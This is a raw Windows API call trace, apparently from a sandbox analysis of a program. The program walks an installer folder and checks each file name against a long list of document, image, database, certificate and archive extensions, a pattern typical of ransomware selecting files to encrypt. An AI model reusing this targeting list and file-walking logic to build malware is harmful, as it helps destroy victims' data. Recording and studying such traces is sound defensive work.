[0085.142] lstrlenW (lpString=".dic") returned 4 [0085.142] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".dif") returned 4 [0085.142] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".divx") returned 5 [0085.142] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0085.142] lstrlenW (lpString=".djvu") returned 5 [0085.142] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0085.142] lstrlenW (lpString=".dng") returned 4 [0085.142] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".doc") returned 4 [0085.142] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".docm") returned 5 [0085.142] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0085.142] lstrlenW (lpString=".docx") returned 5 [0085.142] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.142] lstrlenW (lpString=".dot") returned 4 [0085.142] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dotm") returned 5 [0085.143] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0085.143] lstrlenW (lpString=".dotx") returned 5 [0085.143] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0085.143] lstrlenW (lpString=".dpx") returned 4 [0085.143] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dqy") returned 4 [0085.143] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dsn") returned 4 [0085.143] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dt") returned 3 [0085.143] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0085.143] lstrlenW (lpString=".dtd") returned 4 [0085.143] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dwg") returned 4 [0085.143] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dwt") returned 4 [0085.143] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".dx") returned 3 [0085.143] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0085.143] lstrlenW (lpString=".dxf") returned 4 [0085.143] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".edml") returned 5 [0085.143] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0085.143] lstrlenW (lpString=".efd") returned 4 [0085.143] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".elf") returned 4 [0085.143] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".emf") returned 4 [0085.143] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0085.143] lstrlenW (lpString=".emz") returned 4 [0085.144] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".epf") returned 4 [0085.144] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".eps") returned 4 [0085.144] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".epsf") returned 5 [0085.144] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0085.144] lstrlenW (lpString=".epsp") returned 5 [0085.144] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0085.144] lstrlenW (lpString=".erf") returned 4 [0085.144] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".exr") returned 4 [0085.144] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".f4v") returned 4 [0085.144] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".fido") returned 5 [0085.144] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0085.144] lstrlenW (lpString=".flm") returned 4 [0085.144] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0085.144] lstrlenW (lpString=".flv") returned 4 [0085.756] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".frm") returned 4 [0085.756] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".fxg") returned 4 [0085.756] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".geo") returned 4 [0085.756] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".gif") returned 4 [0085.756] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".grs") returned 4 [0085.756] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".gz") returned 3 [0085.756] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0085.756] lstrlenW (lpString=".h") returned 2 [0085.756] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0085.756] lstrlenW (lpString=".hdr") returned 4 [0085.756] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".hpp") returned 4 [0085.756] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".hta") returned 4 [0085.756] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".htc") returned 4 [0085.756] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0085.756] lstrlenW (lpString=".htm") returned 4 [0085.757] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".html") returned 5 [0085.757] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0085.757] lstrlenW (lpString=".icb") returned 4 [0085.757] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".ics") returned 4 [0085.757] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".iff") returned 4 [0085.757] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".inc") returned 4 [0085.757] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".indd") returned 5 [0085.757] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0085.757] lstrlenW (lpString=".ini") returned 4 [0085.757] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".iqy") returned 4 [0085.757] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".j2c") returned 4 [0085.757] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".j2k") returned 4 [0085.757] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".java") returned 5 [0085.757] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0085.757] lstrlenW (lpString=".jp2") returned 4 [0085.757] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0085.757] lstrlenW (lpString=".jpc") returned 4 [0085.757] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".jpe") returned 4 [0085.758] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".jpeg") returned 5 [0085.758] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0085.758] lstrlenW (lpString=".jpf") returned 4 [0085.758] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".jpg") returned 4 [0085.758] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".jpx") returned 4 [0085.758] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".js") returned 3 [0085.758] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0085.758] lstrlenW (lpString=".jsf") returned 4 [0085.758] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".json") returned 5 [0085.758] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0085.758] lstrlenW (lpString=".jsp") returned 4 [0085.758] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".kdc") returned 4 [0085.758] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".kmz") returned 4 [0085.758] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".kwm") returned 4 [0085.758] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0085.758] lstrlenW (lpString=".lasso") returned 6 [0085.758] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0085.758] lstrlenW (lpString=".lbi") returned 4 [0085.759] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".lgf") returned 4 [0085.759] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".lgp") returned 4 [0085.759] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".log") returned 4 [0085.759] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".m1v") returned 4 [0085.759] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".m4a") returned 4 [0085.759] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".m4v") returned 4 [0085.759] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".max") returned 4 [0085.759] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".md") returned 3 [0085.759] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0085.759] lstrlenW (lpString=".mda") returned 4 [0085.759] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".mdb") returned 4 [0085.759] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".mde") returned 4 [0085.759] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".mdf") returned 4 [0085.759] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0085.759] lstrlenW (lpString=".mdw") returned 4 [0085.760] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mef") returned 4 [0085.760] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mft") returned 4 [0085.760] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mfw") returned 4 [0085.760] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mht") returned 4 [0085.760] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mhtml") returned 6 [0085.760] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0085.760] lstrlenW (lpString=".mka") returned 4 [0085.760] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mkidx") returned 6 [0085.760] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0085.760] lstrlenW (lpString=".mkv") returned 4 [0085.760] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mos") returned 4 [0085.760] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mov") returned 4 [0085.760] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mp3") returned 4 [0085.760] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mp4") returned 4 [0085.760] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0085.760] lstrlenW (lpString=".mpeg") returned 5 [0085.761] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0085.761] lstrlenW (lpString=".mpg") returned 4 [0085.761] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".mpv") returned 4 [0085.761] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".mrw") returned 4 [0085.761] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".msg") returned 4 [0085.761] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".mxl") returned 4 [0085.761] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".myd") returned 4 [0085.761] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".myi") returned 4 [0085.761] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".nef") returned 4 [0085.761] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".nrw") returned 4 [0085.761] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".obj") returned 4 [0085.761] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".odb") returned 4 [0085.761] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".odc") returned 4 [0085.761] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0085.761] lstrlenW (lpString=".odm") returned 4 [0085.761] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".odp") returned 4 [0085.762] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".ods") returned 4 [0085.762] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".oft") returned 4 [0085.762] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".one") returned 4 [0085.762] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".onepkg") returned 7 [0085.762] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0085.762] lstrlenW (lpString=".onetoc2") returned 8 [0085.762] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0085.762] lstrlenW (lpString=".opt") returned 4 [0085.762] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".oqy") returned 4 [0085.762] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".orf") returned 4 [0085.762] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".p12") returned 4 [0085.762] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".p7b") returned 4 [0085.762] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".p7c") returned 4 [0085.762] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0085.762] lstrlenW (lpString=".pam") returned 4 [0085.762] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pbm") returned 4 [0085.763] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pct") returned 4 [0085.763] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pcx") returned 4 [0085.763] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pdd") returned 4 [0085.763] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pdf") returned 4 [0085.763] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pdp") returned 4 [0085.763] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pef") returned 4 [0085.763] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pem") returned 4 [0085.763] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pff") returned 4 [0085.763] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pfm") returned 4 [0085.763] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pfx") returned 4 [0085.763] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".pgm") returned 4 [0085.763] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0085.763] lstrlenW (lpString=".php") returned 4 [0085.763] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0085.764] lstrlenW (lpString=".php3") returned 5 [0085.764] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0085.764] lstrlenW (lpString=".php4") returned 5 [0085.764] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0085.764] lstrlenW (lpString=".php5") returned 5 [0085.764] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0085.764] lstrlenW (lpString=".phtml") returned 6 [0085.764] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0085.764] lstrlenW (lpString=".pict") returned 5 [0085.764] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0085.764] lstrlenW (lpString=".pl") returned 3 [0085.764] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0085.764] lstrlenW (lpString=".pls") returned 4 [0085.764] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0085.764] lstrlenW (lpString=".pm") returned 3 [0085.764] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0085.764] lstrlenW (lpString=".png") returned 4 [0085.764] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0085.764] lstrlenW (lpString=".pnm") returned 4 [0085.764] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0085.764] lstrlenW (lpString=".pot") returned 4 [0085.764] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0085.764] lstrlenW (lpString=".potm") returned 5 [0085.764] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0085.764] lstrlenW (lpString=".potx") returned 5 [0085.764] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0085.764] lstrlenW (lpString=".ppa") returned 4 [0085.765] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".ppam") returned 5 [0085.765] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0085.765] lstrlenW (lpString=".ppm") returned 4 [0085.765] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".pps") returned 4 [0085.765] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".ppsm") returned 5 [0085.765] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0085.765] lstrlenW (lpString=".ppt") returned 4 [0085.765] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".pptm") returned 5 [0085.765] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0085.765] lstrlenW (lpString=".pptx") returned 5 [0085.765] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0085.765] lstrlenW (lpString=".prn") returned 4 [0085.765] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".ps") returned 3 [0085.765] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0085.765] lstrlenW (lpString=".psb") returned 4 [0085.765] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".psd") returned 4 [0085.765] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".pst") returned 4 [0085.765] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0085.765] lstrlenW (lpString=".ptx") returned 4 [0085.766] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0085.766] lstrlenW (lpString=".pub") returned 4 [0085.766] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0085.766] lstrlenW (lpString=".pwm") returned 4 [0085.766] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0085.766] lstrlenW (lpString=".pxr") returned 4 [0085.766] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0085.766] lstrlenW (lpString=".py") returned 3 [0085.766] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0085.766] lstrlenW (lpString=".qt") returned 3 [0085.766] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0085.766] lstrlenW (lpString=".r3d") returned 4 [0085.766] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0085.766] lstrlenW (lpString=".raf") returned 4 [0085.766] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0085.766] lstrlenW (lpString=".rar") returned 4 [0085.766] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.766] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.767] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0085.767] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0085.767] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0085.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26 [0085.767] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0085.768] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.768] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0085.768] lstrlenW (lpString="eula.rtf") returned 8 [0085.768] lstrlenW (lpString=".1cd") returned 4 [0085.768] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.768] lstrlenW (lpString=".3ds") returned 4 [0085.768] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0085.768] lstrlenW (lpString=".3fr") returned 4 [0085.768] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0085.768] lstrlenW (lpString=".3g2") returned 4 [0085.768] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0085.768] lstrlenW (lpString=".3gp") returned 4 [0085.768] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0085.768] lstrlenW (lpString=".7z") returned 3 [0085.768] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.768] lstrlenW (lpString=".accda") returned 6 [0085.768] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0085.768] lstrlenW (lpString=".accdb") returned 6 [0085.768] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0085.768] lstrlenW (lpString=".accdc") returned 6 [0085.768] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0085.769] lstrlenW (lpString=".accde") returned 6 [0085.769] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0085.769] lstrlenW (lpString=".accdt") returned 6 [0085.769] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0085.769] lstrlenW (lpString=".accdw") returned 6 [0085.769] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0085.769] lstrlenW (lpString=".adb") returned 4 [0085.769] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0085.769] lstrlenW (lpString=".adp") returned 4 [0085.769] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0085.769] lstrlenW (lpString=".ai") returned 3 [0085.769] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0085.769] lstrlenW (lpString=".ai3") returned 4 